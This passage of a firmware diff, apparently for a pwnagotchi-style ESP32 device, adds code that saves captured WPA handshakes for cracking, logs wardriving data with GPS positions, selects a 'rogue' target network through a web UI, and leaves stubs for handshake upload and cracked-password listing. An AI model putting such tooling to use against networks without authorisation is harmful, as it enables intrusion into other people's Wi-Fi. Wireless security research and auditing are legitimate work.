"%s,%02x%02x%02x%02x%02x%02x,%d,%d,%.6f,%.6f,%lu\n", + net.ssid, + net.bssid[0], net.bssid[1], net.bssid[2], net.bssid[3], net.bssid[4], net.bssid[5], + (int)net.rssi, (int)net.channel, + gps.latitude, gps.longitude, (unsigned long)gps.timestamp); + + fclose(f); + return true; +} + +bool saveHandshake(const uint8_t* data, size_t len, const char* ssid, const uint8_t* bssid) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/handshakes", MOUNT_POINT); + mkdir_recursive(dir_path); + + char filename[128]; + snprintf(filename, sizeof(filename), "%s/handshakes/%s_%02x%02x%02x%02x%02x%02x.hccapx", + MOUNT_POINT, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); + + FILE* f = fopen(filename, "wb"); + if (!f) return false; + + fwrite(data, 1, len, f); + fclose(f); + return true; +} + +int getStoredHandshakeCount() { + if (!_sdAvailable) return 0; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes", MOUNT_POINT); + + int count = 0; + DIR* dir = opendir(path); + if (!dir) return 0; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, ".hccapx")) count++; + } + closedir(dir); + + return count; +} + +// Returns list of handshake files (caller must free each string) +// IMPORTANT: Call freeHandshakeFiles() to release memory after use +std::vector getHandshakeFiles() { + std::vector files; + if (!_sdAvailable) return files; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes", MOUNT_POINT); + + DIR* dir = opendir(path); + if (!dir) return files; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, ".hccapx")) { + char* name = strdup(entry->d_name); + files.push_back(name); + } + } + closedir(dir); + + return files; +} + +// Free memory allocated by getHandshakeFiles() +void freeHandshakeFiles(std::vector& files) { + for (auto& f : files) { + free(f); + } + files.clear(); +} + +bool deleteHandshake(const char* filename) { + if (!_sdAvailable) return false; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes/%s", MOUNT_POINT, filename); + + return f_unlink(path) == 0; +} + +bool exportWardriveCSV(const std::vector& networks, const char* filename) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/wardriving", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/wardriving/%s", MOUNT_POINT, filename); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "SSID,BSSID,RSSI,Channel,Latitude,Longitude,Timestamp\n"); + + for (const auto& net : networks) { + fprintf(f, "%s,%02x:%02x:%02x:%02x:%02x:%02x,%d,%d,0,0,0\n", + net.ssid, + net.bssid[0], net.bssid[1], net.bssid[2], net.bssid[3], net.bssid[4], net.bssid[5], + (int)net.rssi, (int)net.channel); + } + + fclose(f); + return true; +} + +bool appendToWardriveCSV(const NetworkInfo& net, const GPSData& gps) { + return saveNetworkToCSV(net, gps); +} + +void logToFile(const char* message) { + if (!_sdAvailable) return; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/logs", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + time_t now = time(NULL); + struct tm* tm_info = localtime(&now); + char filename[32]; + strftime(filename, sizeof(filename), "gotchi_%Y%m%d.log", tm_info); + + snprintf(path, sizeof(path), "%s/logs/%s", MOUNT_POINT, filename); + + FILE* f = fopen(path, "a"); + if (!f) return; + + char timestamp[32]; + strftime(timestamp, sizeof(timestamp), "%Y-%m-%d %H:%M:%S", tm_info); + fprintf(f, "[%s] %s\n", timestamp, message); + + fclose(f); +} + +void rotateLogs() { + if (!_sdAvailable) return; + + char logs_dir[128]; + snprintf(logs_dir, sizeof(logs_dir), "%s/logs", MOUNT_POINT); + + DIR* dir = opendir(logs_dir); + if (!dir) return; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, "gotchi_") && strstr(entry->d_name, ".log")) { + char path[512]; + snprintf(path, sizeof(path), "%s/%s", logs_dir, entry->d_name); + + struct stat st; + if (stat(path, &st) == 0) { + time_t age = time(NULL) - st.st_mtime; + if (age > (7 * 24 * 60 * 60)) { + f_unlink(path); + } + } + } + } + closedir(dir); +} + +// Stub: WiFi handshake upload to pwnagotchi-compatible server +// TODO: Implement HTTP upload to pwnagotchi web interface +bool uploadToWpasec(const char* handshakeFile, const char* apiKey, char* result, size_t resultLen) { + if (!_sdAvailable) { + if (result) snprintf(result, resultLen, "Storage not available"); + return false; + } + + if (result) snprintf(result, resultLen, "Upload not implemented"); + return false; +} + +// Stub: Returns count of cracked passwords +// TODO: Implement hash cracking status tracking +int getCrackedCount() { + return 0; +} + +// Stub: Returns list of cracked passwords +// TODO: Implement hash cracking result storage +std::vector getCrackedPasswords() { + std::vector passwords; + return passwords; +} + +// Stub: WiFi wardrive upload to WiGLE.net +// TODO: Implement WiGLE API upload +bool uploadToWigle(const char* csvFile, const char* apiKey, const char* username, char* result, size_t resultLen) { + if (!_sdAvailable) { + if (result) snprintf(result, resultLen, "Storage not available"); + return false; + } + + if (result) snprintf(result, resultLen, "Upload not implemented"); + return false; +} + +bool ensureDirectory(const char* path) { + if (!_sdAvailable) return false; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + return mkdir_recursive(full_path) == 0; +} + +bool fileExists(const char* path) { + if (!_sdAvailable) return false; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + struct stat st; + return stat(full_path, &st) == 0; +} + +int64_t getFileSize(const char* path) { + if (!_sdAvailable) return -1; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + struct stat st; + if (stat(full_path, &st) != 0) return -1; + + return st.st_size; +} + +int64_t getStorageFreeSpace() { + if (!_sdAvailable) return 0; + + FATFS* fs = nullptr; + DWORD freeClusters; + FRESULT res = f_getfree("0:", &freeClusters, &fs); + + if (res != FR_OK) return 0; + + return (int64_t)freeClusters * fs->csize * 512; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/storage.h b/firmware/main/gotchi/storage.h new file mode 100644 index 0000000..5c0aee6 --- /dev/null +++ b/firmware/main/gotchi/storage.h @@ -0,0 +1,86 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +static const size_t MAX_STORED_NETWORKS = 5000; +static const int MAX_LOG_FILES = 5; + +struct GotchiConfig { + char defaultMode[16]; + int neonBrightness; + int headSpeed; + bool autoRotateModes; + bool audioEnabled; + char wigleApiKey[128]; + char wigleUsername[64]; + char wpasecKey[128]; + bool autoWigleUpload; + bool autoWpasecUpload; + int logRotationDays; + int maxNetworks; + bool huntDisclaimerShown; + bool huntEnabled; + bool rogueEnabled; + + GotchiConfig() { + strcpy(defaultMode, "SCOUT"); + neonBrightness = 255; + headSpeed = 1; + autoRotateModes = false; + audioEnabled = true; + wigleApiKey[0] = '\0'; + wigleUsername[0] = '\0'; + wpasecKey[0] = '\0'; + autoWigleUpload = false; + autoWpasecUpload = false; + logRotationDays = 7; + maxNetworks = MAX_STORED_NETWORKS; + huntDisclaimerShown = false; + huntEnabled = false; + rogueEnabled = false; + } +}; + +bool initStorage(); +void deinitStorage(); +bool hasStorage(); + +bool loadConfig(GotchiConfig& config); +bool saveConfig(const GotchiConfig& config); + +bool saveNetworks(const std::vector& networks); +int loadNetworks(std::vector& networks); +bool saveNetworkToCSV(const NetworkInfo& net, const GPSData& gps); + +bool saveHandshake(const uint8_t* data, size_t len, const char* ssid, const uint8_t* bssid); +int getStoredHandshakeCount(); +std::vector getHandshakeFiles(); +void freeHandshakeFiles(std::vector& files); +bool deleteHandshake(const char* filename); + +bool exportWardriveCSV(const std::vector& networks, const char* filename); +bool appendToWardriveCSV(const NetworkInfo& net, const GPSData& gps); + +void logToFile(const char* message); +void rotateLogs(); + +bool uploadToWpasec(const char* handshakeFile, const char* apiKey, char* result, size_t resultLen); +int getCrackedCount(); +std::vector getCrackedPasswords(); + +bool uploadToWigle(const char* csvFile, const char* apiKey, const char* username, char* result, size_t resultLen); + +bool ensureDirectory(const char* path); +bool fileExists(const char* path); +int64_t getFileSize(const char* path); +int64_t getStorageFreeSpace(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/ui_template.cpp b/firmware/main/gotchi/ui_template.cpp new file mode 100644 index 0000000..6e52dd4 --- /dev/null +++ b/firmware/main/gotchi/ui_template.cpp @@ -0,0 +1,169 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "ui_template.h" +#include + +static const char* TAG = "gotchi_ui_template"; + +namespace gotchi { + +UITemplate::UITemplate() : _initialized(false) {} + +void UITemplate::init() { + _initialized = true; + ESP_LOGI(TAG, "UI Template initialized"); +} + +void UITemplate::setHeaderBox(int index, const char* text, lv_color_t bgColor, lv_color_t textColor) { + if (!_initialized || index < 0 || index >= 4) return; + // This would be called from app_gotchi to update header boxes + // The actual header boxes are managed in app_gotchi.cpp + (void)index; (void)text; (void)bgColor; (void)textColor; +} + +void UITemplate::setHeaderBoxesFromStyle(const UIModeStyle& style) { + if (!_initialized) return; + // Apply all 4 header boxes from style + for (int i = 0; i < 4; i++) { + setHeaderBox(i, style.headerBox[i], style.headerBoxBg[i], style.headerBoxText[i]); + } +} + +void UITemplate::setBodyText(const char* text) { + if (!_initialized) return; + // Body text is set via _networkListLabel in app_gotchi + (void)text; +} + +void UITemplate::setBodySize(int width, int height) { + if (!_initialized) return; + (void)width; (void)height; +} + +void UITemplate::setBodyPosition(int x, int y) { + if (!_initialized) return; + (void)x; (void)y; +} + +void UITemplate::setBodyColors(lv_color_t bg, lv_color_t text) { + if (!_initialized) return; + (void)bg; (void)text; +} + +void UITemplate::setBodyFromStyle(const UIModeStyle& style) { + if (!_initialized) return; + setBodyColors(style.bodyBg, style.bodyText); +} + +UIModeStyle UITemplate::getStyleForMode(Mode mode, const char* box0, const char* box1, + const char* box2, const char* box3, + const char* body, int bodyHeight) { + UIModeStyle style = {}; + + style.headerBox[0] = box0; + style.headerBox[1] = box1; + style.headerBox[2] = box2; + style.headerBox[3] = box3; + style.bodyContent = body; + style.bodyHeight = bodyHeight; + style.bodyX = 10; + style.bodyY = 45; + + // Default colors + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x111111); + style.headerBoxText[i] = lv_color_hex(0x888888); + } + style.bodyBg = lv_color_hex(0x001a00); + style.bodyText = lv_color_hex(0x88FF88); + + // Mode-specific colors + switch (mode) { + case Mode::IDLE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x003300); + style.headerBoxText[i] = lv_color_hex(0x88FF88); + } + style.bodyBg = lv_color_hex(0x001a00); + style.bodyText = lv_color_hex(0x00FF00); + break; + case Mode::SCOUT: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x001133); + style.headerBoxText[i] = lv_color_hex(0x88CCFF); + } + style.bodyBg = lv_color_hex(0x000D22); + style.bodyText = lv_color_hex(0x66AAFF); + break; + case Mode::HUNT: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x003300); + style.headerBoxText[i] = lv_color_hex(0x88FF88); + } + style.bodyBg = lv_color_hex(0x001A00); + style.bodyText = lv_color_hex(0x66FF66); + break; + case Mode::WARDIVE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x331A00); + style.headerBoxText[i] = lv_color_hex(0xFFCC66); + } + style.bodyBg = lv_color_hex(0x221100); + style.bodyText = lv_color_hex(0xFFaa44); + break; + case Mode::SPECTRUM: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x001522); + style.headerBoxText[i] = lv_color_hex(0x44DDDD); + } + style.bodyBg = lv_color_hex(0x001522); + style.bodyText = lv_color_hex(0x44DDDD); + break; + case Mode::BLE_SCAN: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x150022); + style.headerBoxText[i] = lv_color_hex(0xDD66DD); + } + style.bodyBg = lv_color_hex(0x150022); + style.bodyText = lv_color_hex(0xDD66DD); + break; + case Mode::ROGUE: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x1A0A00); + style.headerBoxText[i] = lv_color_hex(0xFFCC66); + } + style.bodyBg = lv_color_hex(0x1A0A00); + style.bodyText = lv_color_hex(0xFFCC66); + break; + case Mode::CONFIG: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x002222); + style.headerBoxText[i] = lv_color_hex(0x88AAAA); + } + style.bodyBg = lv_color_hex(0x002222); + style.bodyText = lv_color_hex(0x88AAAA); + break; + case Mode::STATS: + for (int i = 0; i < 4; i++) { + style.headerBoxBg[i] = lv_color_hex(0x330033); + style.headerBoxText[i] = lv_color_hex(0xFF88FF); + } + style.bodyBg = lv_color_hex(0x1A0A1A); + style.bodyText = lv_color_hex(0xDD88DD); + break; + default: + break; + } + + return style; +} + +static UITemplate _uiTemplate; + +UITemplate& getUITemplate() { + return _uiTemplate; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/ui_template.h b/firmware/main/gotchi/ui_template.h new file mode 100644 index 0000000..376c3bc --- /dev/null +++ b/firmware/main/gotchi/ui_template.h @@ -0,0 +1,49 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +namespace gotchi { + +struct UIModeStyle { + const char* headerBox[4]; + lv_color_t headerBoxBg[4]; + lv_color_t headerBoxText[4]; + lv_color_t bodyBg; + lv_color_t bodyText; + const char* bodyContent; + int bodyHeight; + int bodyX; + int bodyY; +}; + +class UITemplate { +public: + UITemplate(); + + void init(); + + void setHeaderBox(int index, const char* text, lv_color_t bgColor, lv_color_t textColor); + void setHeaderBoxesFromStyle(const UIModeStyle& style); + + void setBodyText(const char* text); + void setBodySize(int width, int height); + void setBodyPosition(int x, int y); + void setBodyColors(lv_color_t bg, lv_color_t text); + void setBodyFromStyle(const UIModeStyle& style); + + UIModeStyle getStyleForMode(Mode mode, const char* box0, const char* box1, + const char* box2, const char* box3, + const char* body, int bodyHeight = 180); + +private: + bool _initialized = false; +}; + +UITemplate& getUITemplate(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/web_manager.cpp b/firmware/main/gotchi/web_manager.cpp new file mode 100644 index 0000000..1404918 --- /dev/null +++ b/firmware/main/gotchi/web_manager.cpp @@ -0,0 +1,533 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "web_manager.h" +#include +#include +#include +#include +#include "gotchi.h" +#include "storage.h" +#include "rogue_manager.h" + +static const char* TAG = "gotchi_web"; + +namespace gotchi { + +WebManager* WebManager::_instance = nullptr; + +WebManager::WebManager() : _server(nullptr), _htmlSource(HtmlSource::Internal) { + _htmlFilePath[0] = '\0'; + _instance = this; +} + +WebManager::~WebManager() { + stop(); + _instance = nullptr; +} + +void WebManager::start() { + if (_server != nullptr) return; + + httpd_config_t config = HTTPD_DEFAULT_CONFIG(); + config.server_port = 80; + config.stack_size = 4096; + + httpd_uri_t rootUri = {"/", HTTP_GET, rootHandler, nullptr}; + httpd_uri_t apiConfigUri = {"/api/config", HTTP_GET, apiConfigHandler, nullptr}; + httpd_uri_t apiConfigPostUri = {"/api/config", HTTP_POST, apiConfigHandler, nullptr}; + httpd_uri_t apiStatsUri = {"/api/stats", HTTP_GET, apiStatsHandler, nullptr}; + httpd_uri_t apiRogueUri = {"/api/rogue", HTTP_POST, apiRogueHandler, nullptr}; + httpd_uri_t apiRogueNetworksUri = {"/api/rogue/networks", HTTP_GET, apiRogueNetworksHandler, nullptr}; + httpd_uri_t apiRogueSetUri = {"/api/rogue/set", HTTP_POST, apiRogueSetTargetHandler, nullptr}; + httpd_uri_t apiFilesUri = {"/api/files", HTTP_GET, apiFilesHandler, nullptr}; + httpd_uri_t apiWigleUri = {"/api/wigle", HTTP_POST, apiWigleHandler, nullptr}; + httpd_uri_t apiPwnUri = {"/api/pwnagotchi", HTTP_POST, apiPwnagotchiHandler, nullptr}; + httpd_uri_t apiPermissionsUri = {"/api/permissions", HTTP_POST, apiPermissionsHandler, nullptr}; + + if (httpd_start(&_server, &config) == ESP_OK) { + httpd_register_uri_handler(_server, &rootUri); + httpd_register_uri_handler(_server, &apiConfigUri); + httpd_register_uri_handler(_server, &apiConfigPostUri); + httpd_register_uri_handler(_server, &apiStatsUri); + httpd_register_uri_handler(_server, &apiRogueUri); + httpd_register_uri_handler(_server, &apiRogueNetworksUri); + httpd_register_uri_handler(_server, &apiRogueSetUri); + httpd_register_uri_handler(_server, &apiFilesUri); + httpd_register_uri_handler(_server, &apiWigleUri); + httpd_register_uri_handler(_server, &apiPwnUri); + httpd_register_uri_handler(_server, &apiPermissionsUri); + ESP_LOGI(TAG, "HTTP server started"); + } else { + ESP_LOGW(TAG, "HTTP server failed to start"); + } +} + +void WebManager::stop() { + if (_server != nullptr) { + httpd_stop(_server); + _server = nullptr; + ESP_LOGI(TAG, "HTTP server stopped"); + } +} + +void WebManager::setHtmlSource(HtmlSource source, const char* path) { + _htmlSource = source; + if (path != nullptr) { + strncpy(_htmlFilePath, path, sizeof(_htmlFilePath) - 1); + } +} + +const char* WebManager::generateHtml() { + if (_htmlSource == HtmlSource::File && _htmlFilePath[0] != '\0') { + return loadHtmlFromFile(_htmlFilePath); + } + + static const char html[] = R"HTML( +StackChan-Gotchi + + + +

StackChan-Gotchi

+ +
+ +
+
+

Current: Loading...

+

Level: - | XP: - | Nets: -

+
+
+

Mode Selection

+ + +
+
+

Mode Permissions

+
+ + +
+
+

Quick Actions

+ + +
+
+

Rogue Target Network

+ + + +

Select from discovered networks to target in ROGUE mode

+
+
+ +
+
+

Player Stats

+ + + + + + + + +
Level-
XP-
Networks-
Handshakes-
Prestige-
Uptime-
Achievements-
+
+
+

Session Stats

+

Session XP: -

+

Session Time: -

+
+
+ +
+
+

Discovered Networks

+
Loading...
+
+
+ +
+
+

Storage

+

Free: -

+
+
+ +)HTML"; + return html; +} + +const char* WebManager::loadHtmlFromFile(const char* path) { + // Future: Load HTML from SD card file + ESP_LOGW(TAG, "HTML file loading not implemented, using internal"); + return nullptr; +} + +esp_err_t WebManager::rootHandler(httpd_req_t* req) { + WebManager* wm = getInstance(); + if (!wm) { + httpd_resp_set_type(req, "text/plain"); + httpd_resp_send(req, "Service not available", 23); + return ESP_OK; + } + + const char* html = wm->generateHtml(); + httpd_resp_set_type(req, "text/html"); + httpd_resp_send(req, html, strlen(html)); + return ESP_OK; +} + +esp_err_t WebManager::apiConfigHandler(httpd_req_t* req) { + if (req->method == HTTP_GET) { + Stats s = getStats(); + char json[256]; + snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"apActive\":%s}", + getModeName(getCurrentMode()), + (int)s.level, + (int)s.xp, + isConfigMode() ? "true" : "false"); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; + } + + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"error\",\"message\":\"Failed to read request\"}", 48); + return ESP_OK; + } + content[ret] = '\0'; + + ESP_LOGI(TAG, "Config POST received: %s", content); + + // Parse mode from JSON - simple extraction + char modeStr[32] = {0}; + char* modeStart = strstr(content, "\"mode\""); + if (modeStart) { + modeStart = strchr(modeStart, ':'); + if (modeStart) { + modeStart++; + while (*modeStart == ' ' || *modeStart == '"') modeStart++; + char* modeEnd = strchr(modeStart, '"'); + if (modeEnd && (modeEnd - modeStart) < 32) { + strncpy(modeStr, modeStart, modeEnd - modeStart); + modeStr[modeEnd - modeStart] = '\0'; + } + } + } + + if (strlen(modeStr) > 0) { + Mode m = Mode::IDLE; + if (strcmp(modeStr, "SCOUT") == 0) m = Mode::SCOUT; + else if (strcmp(modeStr, "HUNT") == 0 && isHuntEnabled()) m = Mode::HUNT; + else if (strcmp(modeStr, "WARDIVE") == 0) m = Mode::WARDIVE; + else if (strcmp(modeStr, "SPECTRUM") == 0) m = Mode::SPECTRUM; + else if (strcmp(modeStr, "BLE_SCAN") == 0) m = Mode::BLE_SCAN; + else if (strcmp(modeStr, "ROGUE") == 0 && isRogueEnabled()) m = Mode::ROGUE; + else if (strcmp(modeStr, "STATS") == 0) m = Mode::STATS; + else if (strcmp(modeStr, "CONFIG") == 0) m = Mode::CONFIG; + + setMode(m); + } + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"ok\",\"mode\":\"CONFIG\"}", 30); + return ESP_OK; +} + +esp_err_t WebManager::apiStatsHandler(httpd_req_t* req) { + Stats s = getStats(); + auto networks = getNetworks(); + + const char* titleStr = s.levelTitle ? s.levelTitle : "Unknown"; + + char json[1536]; + int pos = snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"levelTitle\":\"%s\",\"prestige\":%u," + "\"xp\":%d,\"xpToNextLevel\":%d,\"xpToMaxLevel\":%d,\"progressPercent\":%u," + "\"discovery\":{\"networks\":%u,\"handshakes\":%u,\"bleDevices\":%u,\"channels\":%u}," + "\"achievements\":{\"count\":%u,\"total\":37,\"xpEarned\":%d}," + "\"time\":{\"uptime\":%u,\"sessionTime\":%u,\"sessionXP\":%d}," + "\"heap\":{\"free\":%d,\"min\":%d}," + "\"gps\":{\"valid\":%s,\"satellites\":%u,\"lat\":%.6f,\"lon\":%.6f}," + "\"networksList\":[", + getModeName(getCurrentMode()), + (int)s.level, titleStr, (unsigned)s.prestige, + (int)s.xp, (int)s.xpToNextLevel, (int)s.xpToMaxLevel, (unsigned)s.progressPercent, + (unsigned)s.networksFound, (unsigned)s.handshakesCaptured, + (unsigned)s.bleDevicesFound, (unsigned)s.channelsScanned, + (unsigned)s.achievementCount, (int)s.achievementXP, + (unsigned)s.uptimeSeconds, (unsigned)s.sessionTimeSeconds, (int)s.sessionXPGain, + (int)s.freeHeap, (int)s.minHeap, + s.gpsValid ? "true" : "false", (unsigned)s.gpsSatellites, s.gpsLat, s.gpsLon); + + for (size_t i = 0; i < networks.size() && i < 10; i++) { + pos += snprintf(json + pos, sizeof(json) - pos, + "{\"ssid\":\"%.32s\",\"ch\":%d,\"rssi\":%d}%s", + networks[i].ssid, networks[i].channel, (int)networks[i].rssi, + (i < networks.size() - 1 && i < 9) ? "," : ""); + } + + pos += snprintf(json + pos, sizeof(json) - pos, "]}"); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiRogueHandler(httpd_req_t* req) { + if (req->method == HTTP_POST) { + stopRogue(); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); + } + return ESP_OK; +} + +esp_err_t WebManager::apiRogueNetworksHandler(httpd_req_t* req) { + auto networks = getNetworks(); + char json[2048]; + int offset = 0; + + offset += snprintf(json + offset, sizeof(json) - offset, "{\"networks\":["); + + for (size_t i = 0; i < networks.size() && i < 20; i++) { + const auto& net = networks[i]; + char bssid[18]; + snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X", + net.bssid[0], net.bssid[1], net.bssid[2], + net.bssid[3], net.bssid[4], net.bssid[5]); + + offset += snprintf(json + offset, sizeof(json) - offset, + "%s{\"ssid\":\"%s\",\"bssid\":\"%s\",\"channel\":%d,\"rssi\":%d}", + (i > 0) ? "," : "", + net.ssid[0] ? net.ssid : "(hidden)", + bssid, net.channel, net.rssi); + } + + offset += snprintf(json + offset, sizeof(json) - offset, "],\"count\":%zu}", networks.size()); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiRogueSetTargetHandler(httpd_req_t* req) { + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) { + httpd_resp_set_status(req, "400 Bad Request"); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"error\":\"no_data\"}", 17); + return ESP_OK; + } + content[ret] = '\0'; + + char ssid[33] = {0}; + char bssidStr[18] = {0}; + uint8_t channel = 6; + + char* p = content; + while (*p) { + if (strncmp(p, "ssid=", 5) == 0) { + strncpy(ssid, p + 5, sizeof(ssid) - 1); + } else if (strncmp(p, "bssid=", 6) == 0) { + strncpy(bssidStr, p + 6, sizeof(bssidStr) - 1); + } else if (strncmp(p, "channel=", 8) == 0) { + channel = atoi(p + 8); + } + while (*p && *p != '&') p++; + if (*p == '&') p++; + } + + uint8_t bssid[6] = {0}; + if (strlen(bssidStr) == 17) { + sscanf(bssidStr, "%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX", + &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); + } + + RogueManager& rogue = getRogueManager(); + rogue.setTargetNetwork(ssid, bssid, channel); + rogue.saveToNVS(); + + char json[128]; + snprintf(json, sizeof(json), "{\"status\":\"ok\",\"ssid\":\"%s\",\"channel\":%d}", ssid, channel); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiFilesHandler(httpd_req_t* req) { + char json[256]; + snprintf(json, sizeof(json), "{\"freeSpace\":%lld,\"files\":[]}", + (long long)getStorageFreeSpace()); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiWigleHandler(httpd_req_t* req) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"not_implemented\"}", 26); + return ESP_OK; +} + +esp_err_t WebManager::apiPwnagotchiHandler(httpd_req_t* req) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"not_implemented\"}", 26); + return ESP_OK; +} + +esp_err_t WebManager::apiPermissionsHandler(httpd_req_t* req) { + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"error\",\"message\":\"No data received\"}", 43); + return ESP_OK; + } + content[ret] = '\0'; + + ESP_LOGI(TAG, "Received permissions JSON: %s", content); + + bool huntEnabled = false; + bool rogueEnabled = false; + + if (strstr(content, "\"huntEnabled\":true") != nullptr || strstr(content, "\"huntEnabled\": true") != nullptr) { + huntEnabled = true; + } + if (strstr(content, "\"rogueEnabled\":true") != nullptr || strstr(content, "\"rogueEnabled\": true") != nullptr) { + rogueEnabled = true; + } + + GotchiConfig cfg = gotchi::getConfig(); + cfg.huntEnabled = huntEnabled; + cfg.rogueEnabled = rogueEnabled; + gotchi::saveConfig(cfg); + + ESP_LOGI(TAG, "Permissions saved: hunt=%d, rogue=%d", huntEnabled, rogueEnabled); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"ok\"}", 16); + return ESP_OK; +} + +WebManager& getWebManager() { + static WebManager wm; + return wm; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/web_manager.h b/firmware/main/gotchi/web_manager.h new file mode 100644 index 0000000..72ddc87 --- /dev/null +++ b/firmware/main/gotchi/web_manager.h @@ -0,0 +1,55 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class WebManager { +public: + WebManager(); + ~WebManager(); + + void start(); + void stop(); + bool isRunning() const { return _server != nullptr; } + + // HTML loading modes + enum class HtmlSource { + Internal, // Use const char* (current) + File // Load from SD card file (future) + }; + void setHtmlSource(HtmlSource source, const char* path = nullptr); + +private: + // HTTP handlers + static esp_err_t rootHandler(httpd_req_t* req); + static esp_err_t apiConfigHandler(httpd_req_t* req); + static esp_err_t apiStatsHandler(httpd_req_t* req); + static esp_err_t apiRogueHandler(httpd_req_t* req); + static esp_err_t apiRogueNetworksHandler(httpd_req_t* req); + static esp_err_t apiRogueSetTargetHandler(httpd_req_t* req); + static esp_err_t apiFilesHandler(httpd_req_t* req); + static esp_err_t apiWigleHandler(httpd_req_t* req); + static esp_err_t apiPwnagotchiHandler(httpd_req_t* req); + static esp_err_t apiPermissionsHandler(httpd_req_t* req); + + // HTML generation + const char* generateHtml(); + const char* loadHtmlFromFile(const char* path); + + httpd_handle_t _server; + HtmlSource _htmlSource; + char _htmlFilePath[128]; + + static WebManager* _instance; + static WebManager* getInstance() { return _instance; } +}; + +// Global access +WebManager& getWebManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/wifi_scanner.cpp b/firmware/main/gotchi/wifi_scanner.cpp new file mode 100644 index 0000000..99988bc --- /dev/null +++ b/firmware/main/gotchi/wifi_scanner.cpp @@ -0,0 +1,262 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "wifi_scanner.h" +#include "network_db.h" +#include "handshake_parser.h" +#include +#include +#include +#include +#include + +static const char* TAG = "wifi_scanner"; + +namespace gotchi { + +static const uint8_t CHANNEL_SEQ[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; +static const int CHANNEL_SEQ_LEN = 13; + +WifiScanner::WifiScanner() + : _initialized(false), _sniffing(false), _scanning(false), + _currentChannel(1), _channelsScanned(0), _channelsVisitedMask(0), 